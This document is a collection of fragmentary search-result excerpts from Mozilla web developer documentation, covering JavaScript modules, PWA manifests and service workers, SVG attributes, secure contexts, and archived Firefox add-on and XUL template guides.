...; examples standard import the code below shows how to import from a secondary module to assist in processing an ajax json request. the module: file.js function getjson(
url, callback) { let xhr = new xmlhttprequest(); xhr.onload = function () { callback(this.responsetext) }; xhr.open('get',
url, true); xhr.send(); } export function getusefulcontents(
url, callback) { getjson(
url, data => callback(json.parse(data))); } the main program: main.js import { getusefulcontents } from '/modules/file.js'; getusefulcontents('http://www.example.com', data => { dosomethinguseful(data); }); dynamic import this example shows how to load functionality on to a page based on a user action, in this case a button click, and then call a function within that module. this is not the ...
How to make PWAs installable - Progressive web apps (PWAs)
desktop browers that support doing so. the installed web app can then be launched by users just as if it were any native app. this article explains how to achieve this using the web app's manifest. these technologies allow the app to be launched directly from the device's home screen, rather than the user having to open the browser and then navigate to the site by using a bookmark or typing the
url. your web app can sit next to native applications as first class citizens. this makes the web app easier to access; additionally, you can specify that the app be launched in fullscreen or standalone mode, thus removing the default browser user interface that would otherwise be present, creating an even more seamless and native-like feel. requirements to make the web site installable, it needs t...
... web app", "short_name": "js13kpwa", "description": "progressive web app that lists games submitted to the a-frame category in the js13kgames 2017 competition.", "icons": [ { "src": "icons/icon-32.png", "sizes": "32x32", "type": "image/png" }, // ... { "src": "icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ], "start_
url": "/pwa-examples/js13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "background_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app. short_name: short name to be shown on the home screen. description: a sentence or two explaining what your app does. icons: a bunch of icon inf...
...13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "background_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app. short_name: short name to be shown on the home screen. description: a sentence or two explaining what your app does. icons: a bunch of icon information — source
urls, sizes, and types. be sure to include at least a few, so that one that fits best will be chosen for the user's device. start_
url: the index document to launch when starting the app. display: how the app is displayed; can be fullscreen, standalone, minimal-ui, or browser. theme_color: a primary color for the ui, used by operating system. background_color: a color used as the app's default bac...
...ui, used by operating system. background_color: a color used as the app's default background, used during install and on the splash screen. a minimal web manifest must have at least a name and an icons field with at least one icon defined; that icon must have at least the src, sizes, and type sub-fields as well. beyond that, everything is optional, though the description, short_name, and start_
url fields are recommended. there are even more fields you can use than listed above — be sure to check the web app manifest reference for details. add to home screen "add to home screen" (or a2hs for short) is a feature implemented by mobile browsers that takes the information found in an app's web manifest and uses them to represent the app on the device's home screen with an icon and name. thi...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
sh. caches is a special cachestorage object available in the scope of the given service worker to enable saving data — saving to web storage won't work, because web storage is synchronous. with service workers, we use the cache api instead. here, we open a cache with a given name, then add all the files our app uses to the cache, so they are available next time it loads (identified by request
url). activation there is also an activate event, which is used in the same way as install. this event is usually used to delete any files that are no longer necessary and clean up after the app in general. we don't need to do that in our app, so we'll skip it. responding to fetches we also have a fetch event at our disposal, which fires every time an http request is fired off from our app. this ...
... our app, so we'll skip it. responding to fetches we also have a fetch event at our disposal, which fires every time an http request is fired off from our app. this is very useful, as it allows us to intercept requests and respond to them with custom responses. here is a simple usage example: self.addeventlistener('fetch', (e) => { console.log('[service worker] fetched resource '+e.request.
url); }); the response can be anything we want: the requested file, its cached copy, or a piece of javascript code that will do something specific — the possibilities are endless. in our example app, we serve content from the cache instead of the network as long as the resource is actually in the cache. we do this whether the app is online or offline. if the file is not in the cache, the app adds...
...ontent from the cache instead of the network as long as the resource is actually in the cache. we do this whether the app is online or offline. ...
...if not, we use another fetch request to fetch it from the network, then store the response in the cache so it will be available there next time i...
cx - SVG: Scalable Vector Graphics
value <length-percentage> default value 0 animatable yes note: starting with svg2 cx, is a geometry property, meaning this attribute can also be used as css property for circles. ellipse for <ellipse>, cx defines the x-axis coordinate of the ...
... candidate recommendation ...
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the defini...
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cx' in that specification. candidate recommendation definition for svg2 ...
cy - SVG: Scalable Vector Graphics
value <length> | <percentage> default value 0 animatable yes note: starting with svg2, cy is a geometry property meaning this attribute can also be used as a css property for circles. ellipse for <ellipse>, cy defines the y-axis coordinate of...
... candidate recommendation ...
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the defini...
... candidate recommendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'cy' in that specification. candidate recommendation definition for svg2 ...
spreadMethod - SVG: Scalable Vector Graphics
the outer thirds show the difference between the three spread methods. examples o...
...the outer thirds show the difference between the three spread methods. examples of spreadmethod with radial gradients svg <svg width="340" height="120" xmlns="ht...
...dient id="repeatgradient" spreadmethod="repeat" x1="33%" x2="67%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </lineargradient> </defs> <rect fill="
url(#padgradient)" x="10" y="0" width="200" height="40"/> <rect fill="
url(#reflectgradient)" x="10" y="50" width="200" height="40"/> <rect fill="
url(#repeatgradient)" x="10" y="100" width="200" height="40"/> </svg> result notice that the middle third of each gradient is the same. the outer thirds show the difference between the three spread methods. examples of spreadmethod with radial gradients svg <svg width="340" height="120" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="radialpadgradient" ...
.../> <stop offset="100%" stop-color="orange"/> </radialgradient> <radialgradient id="radialrepeatgradient" spreadmethod="repeat" cx="75%" cy="25%" r="33%" fx="64%" fy="18%" fr="17%"> <stop offset="0%" stop-color="fuchsia"/> <stop offset="100%" stop-color="orange"/> </radialgradient> </defs> <rect fill="
url(#radialpadgradient)" x="10" y="10" width="100" height="100"/> <rect fill="
url(#radialreflectgradient)" x="120" y="10" width="100" height="100"/> <rect fill="
url(#radialrepeatgradient)" x="230" y="10" width="100" height="100"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of 'sp...
<pattern> - SVG: Scalable Vector Graphics
ibutes on other graphics elements to fill or stroke those elements with the referenced pattern. ...
... pattern. ...
... value type: userspaceonuse|objectboundingbox; default value: userspaceonuse; animatable: yes note: this attribute has no effect if a viewbox attribute is specified on the <pattern> element. ...
...the width of the pattern tile. value type: <length>|<percentage> ; default value: 0; animatable: yes x this attribute determines the x coordinate shift of the pattern tile. value type: <length>|<percentage> ; default value: 0; animatable: yes xlink:href deprecated since svg 2 this attribute reference a template pattern that provides default values for the <pattern> attributes. value type: <
url>; default value: none; animatable: yes note: for browsers implementing href, if both href and xlink:href are set, xlink:href will be ignored and only href will be used. y this attribute determines the y coordinate shift of the pattern tile. value type: <length>|<percentage> ; default value: 0; animatable: yes global attributes core attributes most notably: id, tabindex styling attrib...
<script> - SVG: Scalable Vector Graphics
) return `#${r}${g}${b}` } document.queryselector('circle').addeventlistener('click', (e) => { e.target.style.fill = getcolor() }) }) // ]]> </script> <circle cx="5" cy="5" r="4" /> </svg> attributes crossorigin this attribute defines cors settings as define for the html <script> element. ...
... document.queryselector('circle').addeventlistener('click', (e) => { e.target.style.fill = getcolor() }) }) // ]]> </script> <circle cx="5" cy="5" r="4" /> </svg> attributes crossorigin this attribute defines cors settings as define for the html <script> element. value type: <string>; default value: ?; animatable: yes href the
url to the script to load. ...
...e defines cors settings as define for the html <script> element. value type: <string>; default value: ?; animatable: yes href the
url to the script to load. value type: <
url> ; default value: none; animatable: no type this attribute defines type of the script language to use. value type: <string>; default value: application/ecmascript; animatable: no xlink:href deprecated since svg 2 the
url to the script to load. ...
... html <script> element. value type: <string>; default value: ?; animatable: yes href the
url to the script to load. value type: <
url> ; default value: none; animatable: no type this attribute defines type of the script language to use. value type: <string>; default value: application/ecmascript; animatable: no xlink:href deprecated since svg 2 the
url to the script to load. ...
Patterns - SVG: Scalable Vector Graphics
stop-color="blue"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="5%" stop-color="red"/> <stop offset="95%" stop-color="orange"/> </lineargradient> <pattern id="pattern" x="0" y="0" width=".25" height=".25"> <rect x="0" y="0" width="50" height="50" fill="skyblue"/> <rect x="0" y="0" width="25" height="25" fill="
url(#gradient2)"/> <circle cx="25" cy="25" r="20" fill="
url(#gradient1)" fill-opacity="0.5"/> </pattern> </defs> <rect fill="
url(#pattern)" stroke="black" width="200" height="200"/> </svg> screenshotlive sample inside the <pattern> element, you can include any of the other basic shapes you've included before, and each of them can be styled using any of the styles you've learned befor...
...rn would remain the same size, and you end up with large areas of nothing in between them. ...
...of nothing in between them. by changing the patterncontentunits attribute, we can put all the elements into the same unit system: <pattern id="pattern" width=".25" height=".25" patterncontentunits="objectboundingbox"> <rect x="0" y="0" width=".25" height=".25" fill="skyblue"/> <rect x="0" y="0" width=".125" height=".125" fill="
url(#gradient2)"/> <circle cx=".125" cy=".125" r=".1" fill="
url(#gradient1)" fill-opacity="0.5"/> </pattern> now, because the pattern content is in the same unit system as the pattern, we don't have to offset the box so that the pattern starts in the correct place, and if the object size was changed to a larger one, the pattern would automatically scale so that it had the same number of objects and repeats inside it. this contrasts with the "userspaceonuse...
... independently of what an object's shape is. to create something like this, both the pattern and its contents must be drawn in the current userspace, so they don't change shape if the object does: <pattern id="pattern" x="10" y="10" width="50" height="50" patternunits="userspaceonuse"> <rect x="0" y="0" width="50" height="50" fill="skyblue"/> <rect x="0" y="0" width="25" height="25" fill="
url(#gradient2)"/> <circle cx="25" cy="25" r="20" fill="
url(#gradient1)" fill-opacity="0.5"/> </pattern> of course, this means the pattern won't scale if you change your object size later. all three of the preceding examples are shown below on a rectangle that has been slightly elongated to a height of 300px, but i should note that it's not an exhaustive picture, and there are other options ava...
Secure contexts - Web security
e has no effect on whether the new window is considered secure. that’s because the determination of whether or not a particular document is in a secure context is based only on considering it within the top-level browsing context with which it is associated — and not whether a non-secure context happened to be used to create it. ...
...her the new window is considered secure. that’s because the determination of whether or not a particular document is in a secure context is based only on considering it within the top-level browsing context with which it is associated — and not whether a non-secure context happened to be used to create it. ...
...’s because the determination of whether or not a particular document is in a secure context is based only on considering it within the top-level browsing context with which it is associated — and not whether a non-secure context happened to be used to create it. locally-delivered resources such as those with http://127.0.0.1
urls, http://localhost
urls (under certain conditions), and file://
urls are also considered to have been delivered securely. ...
...d — and not whether a non-secure context happened to be used to create it. locally-delivered resources such as those with http://127.0.0.1
urls, http://localhost
urls (under certain conditions), and file://
urls are also considered to have been delivered securely. resources that are not local, to be considered secure, must meet the following criteria: must be served over https:// or wss://
urls the security properties of the network channel used to deliver the resource must not be considered deprecated feature detection pages can use feature detection to check whether they are in a secure context or not by using the issecurecontext boolean, which is exposed on the global scope. if (window.issecurecontext) { // page is a secure context so service workers are now available navig...
Loading Content Scripts - Archive of obsolete content
string, array contentscriptfile string, array contentscriptwhen string contentscriptoptions object we have already seen the contentscript option, which enables you to pass in the text of the script itself as a string literal. this version of the api avoids the need to maintain a separate file for the content script. ...
...in a separate file for the content script. the contentscriptfile option enables you to pass in the local file
url from which the content script will be loaded. to supply the file "my-content-script.js", located in the /data subdirectory under your add-on's root directory, use a line like: // "data" is supplied by the "self" module var data = require("sdk/self").data; ... contentscriptfile: data.
url("my-content-script.js") both contentscript and contentscriptfile accept an array of strings, so you can load multiple scripts, which can also interact directly with each other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ... ...
... "self" module var data = require("sdk/self").data; ... contentscriptfile: data.
url("my-content-script.js") both contentscript and contentscriptfile accept an array of strings, so you can load multiple scripts, which can also interact directly with each other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ... contentscriptfile: [data.
url("jquery-1.4.2.min.js"), data.
url("my-content-script.js")] scripts specified using contentscriptfile are loaded before those specified using contentscript. this enables you to load a javascript library like jquery by
url, then pass in a simple script inline that can use jquery. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you ...
Porting the Library Detector - Archive of obsolete content
dds a box element to the browser's status bar: the script does everything else. the bulk of the script is an array of test objects, one for each library. each test object contains a function called test(): if the function finds the library, it defines various additional properties for the test object, such as a version property containing the library version. each test also contains a chrome://
url pointing to the icon associated with its library. the script listens to gbrowser's domcontentloaded event. when this is triggered, the testlibraries() function builds an array of libraries by iterating through the tests and adding an entry for each library which passes. once the list is built, the switchlibraries() function constructs a xul statusbarpanel element for each library it found, popu...
...e script listens to gbrowser's domcontentloaded event. when this is triggered, the testlibraries() function builds an array of libraries by iterating through the tests and adding an entry for each library which passes. once the list is built, the switchlibraries() function constructs a xul statusbarpanel element for each library it found, populates it with the icon at the corresponding chrome://
url, and adds it to the box. finally, it listens to gbrowser's tabselect event, to update the contents of the box for that window. content script separation the test objects in the original script need access to the dom window object, so in the sdk port, they need to run in a content script. in fact, they need access to the un-proxied dom window, so they can see the objects added by libraries, so ...
... version: passed.version }; librarylist.push(libraryinfo); } } self.postmessage(librarylist); } testlibraries(); main.js responds to that message by fetching the tab corresponding to that worker using worker.tab, and adding the array of library names to that tab's libraries property: pagemod.pagemod({ include: "*", contentscriptwhen: 'end', contentscriptfile: (data.
url('library-detector.js')), onattach: function(worker) { worker.on('message', function(librarylist) { if (!worker.tab.libraries) { worker.tab.libraries = []; } librarylist.foreach(function(library) { if (worker.tab.libraries.indexof(library) == -1) { worker.tab.libraries.push(library); } }); if (worker.tab == tabs.activetab) { ...
windows - Archive of obsolete content
tees made by the sdk's high-level apis. in particular, depending on what you do with these objects, your code might not work with multiprocess firefox. globals functions open(options) open a new window. var windows = require("sdk/windows").browserwindows; // open a new window. windows.open("http://www.example.com"); // open a new window and set a listener for "open" event. windows.open({
url: "http://www.example.com", onopen: function(window) { // do stuff like listen for content // loading. } }); returns the window that was opened: var windows = require("sdk/windows").browserwindows; var example = windows.open("http://www.example.com"); require("sdk/ui/button/action").actionbutton({ id: "read", label: "read", icon: "./read.png", onclick: function() { examp...
...indows; var example = windows.open("http://www.example.com"); require("sdk/ui/button/action").actionbutton({ id: "read", label: "read", icon: "./read.png", onclick: function() { example.close(); } }); this example uses the action button api, which is only available from firefox 29 onwards. parameters options : object required options: name type
url string string
url to be opened in the new window. this is a required property. isprivate boolean boolean which will determine whether the new window should be private or not. if your add-on does not support private browsing this will have no effect. see the private-browsing documentation for more information. optional options: name type ...
...olean which will determine whether the new window should be private or not. if your add-on does not support private browsing this will have no effect. see the private-browsing documentation for more information. optional options: name type onopen function a callback function that is called when the window has opened. this does not mean that the
url content has loaded, only that the window itself is fully functional and its properties can be accessed. this is an optional property. onclose function a callback function that is called when the window will be called. this is an optional property. onactivate function a callback function that is called when the window is made active. this is an optio...
/loader - Archive of obsolete content
you may still end up with a relative module id if the entry point module id is itself relative. in those cases you have to decide what the entry point module is relative to and provide an appropriate mapping for it: let { loader } = ...
...the example above overlays the base path '' with a different mapping for 'toolkit/' prefixed modules. modules the loader may opti...
...e module resolution logic. resolve is assigned a function that takes: the id of the module passed into require() the id of the module that called require() on each require() call, the supplied function is then called with the id of the required module and that of the requiring module. the function returns a string representing the resolved module id, which is then resolved to its location
url using the mapping provided in the paths option. if this option is not provided, the loader will use plain path resolution. this feature may also be used to implement specific security constraints. for example, the sdk generates a manifest file at build time representing a dependency graph of all modules used by an add-on. any attempt to load a module not listed in the manifest is unauthorized a...
Customizing the download progress bar - Archive of obsolete content
that there is an asterisk in front of the entry for myextension.css so that it will be preprocessed. this is required since it contains platform-specific directives, as we will see. ...
... this is the product of some tweaking and experimentation, so perhaps there is a different and/or bett...
...ht: 17px !important; %else %ifdef xp_macosx -moz-appearance: none !important; background-image:
url(chrome://myextension/skin/progress_bg_osx.png) !important; %endif %endif } richlistitem .progress-bar { %ifdef xp_win -moz-appearance: none !important; background-image:
url(chrome://myextension/skin/progress_fd_win.png) !important; %else %ifdef xp_macosx background-image:
url(chrome://myextension/skin/progress_fd_osx.gif) !important; %endif %endif } note: this file only supports windows and mac, but it would be straightforward to add support for linux. this is the product of some tweaking and experimentation, so perhaps there is a different and/or better way to achieve the same thing. we are specifying the height of the progress meter on windows and a backgro...
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
writing and displaying presentations to try out the code samples in this chapter, save them as text files with .xul extensions and drag and drop them into the firefox browser window. fixme: explain how setting this option and use next listings if we want to run firefox displaying none of its gui and only the contents of a certain xul file, we can launch firefox and set the option: -chrome file_
url.xul another way, as shown in listing 1, is to use the window.opendialog() method, which can be used only within a xul window. this is used by extensions to open a separate window. window.opendialog('another.xul', '_blank','chrome,all,dialog=no'); listing 1: opening a window without the firefox gui xul as an xml application listing 2 shows an example of a gui definition file marked up in xul...
...ute insertafter. we can also use the position attribute as a way to locate an element numerically at any position; for example, using position="4" would insert it as the fourth element. external entities being a form of xml, xul can also use entity references based on dtds (document type definitions) as shown in listing 26. note that external dtd files are limited to what is given in the chrome
url, which will be discussed in chapter 5. please be aware that ordinary dtd files on the web or in a local directory will not be opened. note: you may use a relative path to access a chrome
url from an xul document. <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="chrome://global/skin/"?> <!doctype window system "chrome://testapp/locale/testapp.dtd"> <window xmlns="http://www.mozilla.
...m it is running on. for example, to display a 16x16 icon for a file with a .pdf dot-extension (a pdf file), you would write moz-icon://.pdf?size=16. you can reference icons using content type as a key rather than dot-extension; for example, you could display a plain-text icon using moz-icon://goat?size=16&contenttype=text/plain. you can also display specific icons using the markup moz-icon:file
url?size=size. the button icons mentioned in table 2 also can be called using moz-icon uris, using the markup moz-icon://stock/gtk-button name?size=button. note, however, that this does not work in linux environments. spin buttons you can add a type="number" declaration to a textbox element, making it a textbox specifically for entering numeric values. this will cause the spin buttons seen in figu...
Appendix D: Loading Scripts - Archive of obsolete content
ersion="1.0" encoding="utf-8"?> <!doctype overlay> <overlay id="script-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript;version=1.8" src="overlay.js"/> </overlay> evalinsandbox the components.utils.evalinsandbox method may be used to load arbitrary code into components.utils.sandbox objects. javascript files or
urls may be loaded in this manner by first retrieving their contents into memory using an xmlhttprequest. this is the method used by jetpack's securable module system to load nearly all executable code. advantages namespacing: since scripts executed via evalinsandbox run in a defined namespace, global namespace contamination and the resultant extension compatibility issues are not usually a probl...
...n xmlhttprequest. this is the method used by jetpack's securable module system to load nearly all executable code. advantages namespacing: since scripts executed via evalinsandbox run in a defined namespace, global namespace contamination and the resultant extension compatibility issues are not usually a problem. flexibility: the evalinsandbox method accepts several parameters, including the
url, line number, and javascript version of the file from which the code being evaluated was extracted. this information is invaluable for debugging, and the flexibility with which it can be specified makes this method useful for extracting javascript from a number of file formats other than raw javascript scripts. additionally, as sandbox objects can be created with an arbitrary prototype object, th...
... specified makes this method useful for extracting javascript from a number of file formats other than raw javascript scripts. additionally, as sandbox objects can be created with an arbitrary prototype object, the evaluated code can be given access to the global properties of any existing scope. security: sandbox objects are initialized with a security principal object, or otherwise a window or
url from which to derive one. this means that evalinsandbox can be used to execute code with a specified privilege level rather than full chrome privileges. beyond this, the scope of the sandbox can be augmented or rarified to add or remove privileges as necessary. under ordinary circumstances, native objects passed out of sandboxes are wrapped in xraywrapper objects, which means that only native pro...
Security best practices in extensions - Archive of obsolete content
r seamonkey. web content handling in general the best way to ensure that the browser is not compromised when you load content is to make sure it does not have those privileges. a more detailed explanation of this process is in displaying web content in an extension without security issues. the privileges that a document gets also depend on where it comes from. for example, if you load a chrome
url, this means the content has been registered with firefox and has full access. content from a domain (such as http://www.example.com) can only access that same domain. files loaded using the file protocol can access files on the user's disk and other local devices. there are ways to get around the content/chrome security barrier, if for example, you want a web page to send a notification to the a...
... world use case, take a look at this blog post. handling of logins and passwords there are various ways of storing data in firefox, but for user logins and passwords, you should use the login manager. this is the same store that holds the logins from web pages, and passwords can only be retrieved using a site/username pairing known to the author. the convention for extensions is to use a chrome
url for the site identifier, to avoid clashes with logins for sites. it could be the case that your extension provides a different tool or tools for services on your site. this approach is preferable because it provides users with a familiar interface for interacting with logins, via the firefox password manager. when users clear logins using the "clear recent history" option, it will include your e...
...d over the network. json has become a popular data format for return formats for web services. be sure to read using native json to find out the correct way to handle it. apis can't be used with self-signed certificates. remote javascript and content there are a number of ways of remote scripts being used in extensions. they can be included in content, or downloaded at intervals. non-chrome
urls in chrome xul or html such as the following example are not allowed: <script type="text/javascript" src="http://mysite.greatsite.com/js/wow-content.js" /> in general, scripts that are from remote sources that run in the chrome context are not acceptable, as many times the source of the script can never be 100% guaranteed, and they are vulnerable to man-in-the-middle attacks. the only legitimat...
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
the data loader component will be interacting with this iframe element, requesting data from the server. note that when the data is available (a web page is loaded into the iframe) this will not affect the web page context because the iframe is not visible. data loader component this component is a simple javascript function that sets the src attribute of the hidden iframe, causing it to load an
url (i.e., by establishing a request on the server side): /* triggers the iframe to retrieve new data */ function retrievedata() { bridgeframe.src = data
url; } once a web page is loaded into the iframe, the data binder will be able to get the data from the iframe's page and set the data into the main page's context. data binder component the data binder is responsible for setting the data into the ma...
...to improve accessibility to information in traditional web pages. example using javascript's xmlhttprequest and dom interfaces: tabbed menu for headlines this example demonstrates an implementation using xmlhttprequest interfaces. both netscape 7 and recent versions of internet explorer provide xmlhttprequest interfaces that allow javascript to dynamically load an xml document given a data source
url. in this case, the content that is updated on the page is a set of headlines for devedge articles. this example uses the actual xml datasources from devedge web site. this example also follows the same model with a data loader and data binder component. data loader component this component uses xmlhttprequest to load the xml data that represents the article headlines. xmlhttprequest interface ret...
...e fix if(document.all) tagname="nde:"+tagname; valuee=article.getelementsbytagname(tagname).item(0).firstchild.nodevalue; tagname="summary"; // ie fix if(document.all) tagname="nde:"+tagname; paraa=article.getelementsbytagname(tagname).item(0).firstchild.nodevalue; linkk=article.getattribute("
url"); strvalue="<div class='nde-blurb'><h3><a href='"+linkk+"'>"+valuee+"</a></h3><p>"+paraa+"</p></div>"; document.getelementbyid("container").innerhtml+=strvalue; } } if(previousele) { previousele.style.backgroundcolor="white"; } ele.style.backgroundcolor="#ddeeff"; previousele=ele; } var previousele=null; </script> <style> .tab { position:relative;top:1px; border: 1px sol...
Source code directories overview - Archive of obsolete content
ntains c code for the mdb/mork database which is a low-level, general-purpose and cross-platform file library. it is used to store mail box data, news data and global history data. it has not been updated to support xpcom yet. this code originated in the mozilla classic code base. dbm contains c code for managing, reading and writing hash tables. it is used for the auto-completion feature on the
url edit box (stored in netscape.hst in mozilla classic) and for the cached pages index (stored in fat.db in mozilla classic). this code originated at uc berkeley. directory contains the ldap sdk. docshell contains c interfaces and code for loading and displaying a single web page (e.g. scroll). the [#seamonkey-embedding embedding] code wraps this code with higher level browser functions like forwa...
...sic and using default profiles for popular isps (e.g. earthlink and concentric networks). rdf contains c interfaces and code for accessing various data and organizing their relationships according to rdf. rdf stands for "resource description framework" which is an open standard. this code reads and writes data from and to the local file system, databases, the internet or any other source using a
url-like syntax. security contains the security modules including nss and psm. storage contains an implementation of sqlite3. suite will contain files specific to the mozilla suite. sun-java contains c code so mozilla can communicate with the sun jvm (java virtual machine). it does not include the code for the virtual machine itself, though. themes contains the default themes for mozilla, modern...
...a, modern and classic. toolkit contains the code for the toolkit used for firefox, thunderbird and other standalone applications. this will be covered below. tools contains c code for the linux-only leaky tool. leaky can help detect memory leaks and xpcom reference counting problems. uriloader contains c interfaces and code for invoking the correct viewer for the content contained at a certain
url. for example, if this code determines that the content is a mail message, it looks up the appropriate listener (probably netscape messenger) and passes the mail message to it for display. it is generic and can hand the content off to internal components (like messenger), to plug-ins or helper apps. view contains c interfaces and code for different types of views (e.g. scrolling view). a view con...
Bookmark Keywords - Archive of obsolete content
o useful resources, bookmarks in mozilla can be used to make the address bar itself a power tool. searches, lookups, package tracking, and even word definitions can all be retrieved from user-customized bookmarks. the key to this ability, if you'll pardon the pun, is the ability to add a keyword to any mozilla bookmark. under ordinary circumstances, this might be used to reduce typing of a common
url: http://www.cnn.com/ could be given the keyword cnn. once that's done, all it takes to go to the cnn home page would be to type <tt>cnn</tt> into the address bar. mozilla will automatically expand the keyword to the corresponding bookmarked
url, and load up the site. that's pretty interesting on its own, but mozilla takes it a step further by allowing the user to define an "entry point" for added...
...switch to the "location:" field and go all the way to the end. replace the bug's number (82839) with the string %s. you should end up with the result shown in figure 4, without the red highlighting. the %s is a little flag that means "insert user input here." it doesn't have to go at the end of the location field-- it can be anywhere inside the field. you just need to fill in whatever piece of a
url it is you want to be able to "fill in" when you use the keymark. all we need now is a keyword, and our keymark will be ready to go. fill in the value bz, as shown in figure 5. with that done, all you have to do in the future is type <tt>bz</tt> followed by a space and the bug's number into mozilla's address bar, and the browser will jump right to the bug with that number. this is illustrated in ...
...his result page has been bookmarked, we need only adjust the boookmark's properties. in this case, we'll give it a keyword and title of google and replace the term "geitost" with the %s, as shown (with extra highlighting) in figure 8. now we can run google searches straight from the address bar. these searches can be as complex as google will tolerate, since the entered data will be converted to
url-encoded text before it's sent to the google servers. thus we could type any of the following into the address bar and get back useful results: <tt>google geitost</tt> <tt>google mozilla keyword bookmark</tt> <tt>google bookmark site:developer.netscape.com</tt> <tt>google netscape xml support -site:netscape.com</tt> a few examples in the course of writing this article, a number of potentia...
Specifying the appearance - Archive of obsolete content
now that we have defined a panel in which to display an icon, we use css to specify which icon to display. ...
...ay. ...
...ate a set of css rules that displays the icon corresponding to the current tinderbox state: statusbarpanel#tinderbox-status { list-style-image:
url("chrome://navigator/content/tb-nostatus.png"); } statusbarpanel#tinderbox-status[status="success"] { list-style-image:
url("chrome://navigator/content/tb-success.png"); } statusbarpanel#tinderbox-status[status="testfailed"] { list-style-image:
url("chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image:
url("chrome://navigator/content/tb-busted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to have to add these rules to each set (and have our extension break when a new set gets installed), so we'll put this stylesheet in...
Multiple Queries - Archive of obsolete content
nd query, and so forth for all of the queries. ...
...omplicated process that will be discussed in more detail later. multiple queries using the rdf simple syntax you can also use multiple queries with rdf datasources using the simple query syntax. here is the previous example rewritten using the simple syntax: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:dc="http://p
url.org/dc/elements/1.1/"> <template> <rule dc:title="canal"> <button uri="rdf:*" image="rdf:*" label="view" orient="vertical"/> </rule> <rule> <image uri="rdf:*" src="rdf:*"/> </rule> </template> </hbox> the result to the user in this example is the same as the previous example. you can also mix simple and extended queries in one template, although you may prefer to ...
...t matter, of course. speaking of using a single query, the simple query syntax allows a slight shorthand. you can remove the <rule> element and place the rule's conditions directly on the <template>. there's no performance benefit, but it does save some typing. <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos" xmlns:dc="http://p
url.org/dc/elements/1.1/"> <template dc:title="canal"> <button uri="rdf:*" image="rdf:*" label="view" orient="vertical"/> </template> </hbox> this example shows only a single photo since a condition is used to filter out the other two photos. note that in this shorthand, the query conditions are placed directly on the <template> element. « previousnext » ...
Multiple Rule Example - Archive of obsolete content
eded to display the description. the next example shows how we can do this. ...
...e-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <rule> <conditions> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/description" object="?description"/> <triple subject="?photo" predicate="http://p
url.org/dc/elements/1.1/date" object="?date"/> </conditions> <action> <hbox uri="?photo" class="box-padded"> <vbox> <label value="?title"/> <image src="?photo"/> </vbox> ...
...the secon...
Special Condition Tests - Archive of obsolete content
or rdf sources, you can use the same technique. to do this kind of matching, you again place a parent attribute on the rule, set to the tag to match. for instance, we might use the following: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <rule parent="vbox"> <groupbox uri="rdf:*"> <caption label="rdf:http://p
url.org/dc/elements/1.1/title"/> </groupbox> </rule> <rule> <label uri="rdf:*" value="rdf:http://www.xulplanet.com/rdf/address"/> </rule> </template> </vbox> on the first pass, the container where generated content would be inserted is a <vbox>, so the first rule will match and a captioned <groupbox> will be created. on the next pass, the parent container will be the elemen...
...sult can be seen if you try the example. ...
...dditional rules. it is commonly used with menus, and we can rewrite the previous example using the iscontainer attribute instead. ...
XML Templates - Archive of obsolete content
loaded and xpath expressions may be used to take portions of the xml document and generate content from these. when an xml source is desired, specify a querytype attribute on the root node of the template to the value xml. this indicates to the template builder that an xml source is being used as that the queries use syntax that is specific to xml. the datasources attribute should be set to the
url of an xml document, either a local file or a remote web site. the ref attribute isn't currently used for xml sources, as the root of the document is always the starting point for xml queries; you should just set the ref attribute to a dummy value, for example '*' which is typically used. an example: <listbox datasources="people.xml" ref="*" querytype="xml"> <template> ... </template> <l...
...cument, either a local file or a remote web site. the ref attribute isn't currently used for xml sources, as the root of the document is always the starting point for xml queries; you should just set the ref attribute to a dummy value, for example '*' which is typically used. an example: <listbox datasources="people.xml" ref="*" querytype="xml"> <template> ... </template> <listbox> the
url in the datasources attribute may be a relative
url or an absolute
url. note: if you want to have the state of the disclosure triangles ("twisties") be persistent, be sure to give each node a unique "id" attribute. these are used to track the current state of the disclosure triangles. support for this was introduced in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4). for this and th...
...simple as the one used here. any xpath expression may be used. for instance, the following query returns only those results for female people. <query expr="person[@gender='female']"/> as long as the expression returns one or more nodes, it can be used in an query expression. using inline xml it's also possible to embed the xml data directly within the xul document if desired. instead of using a
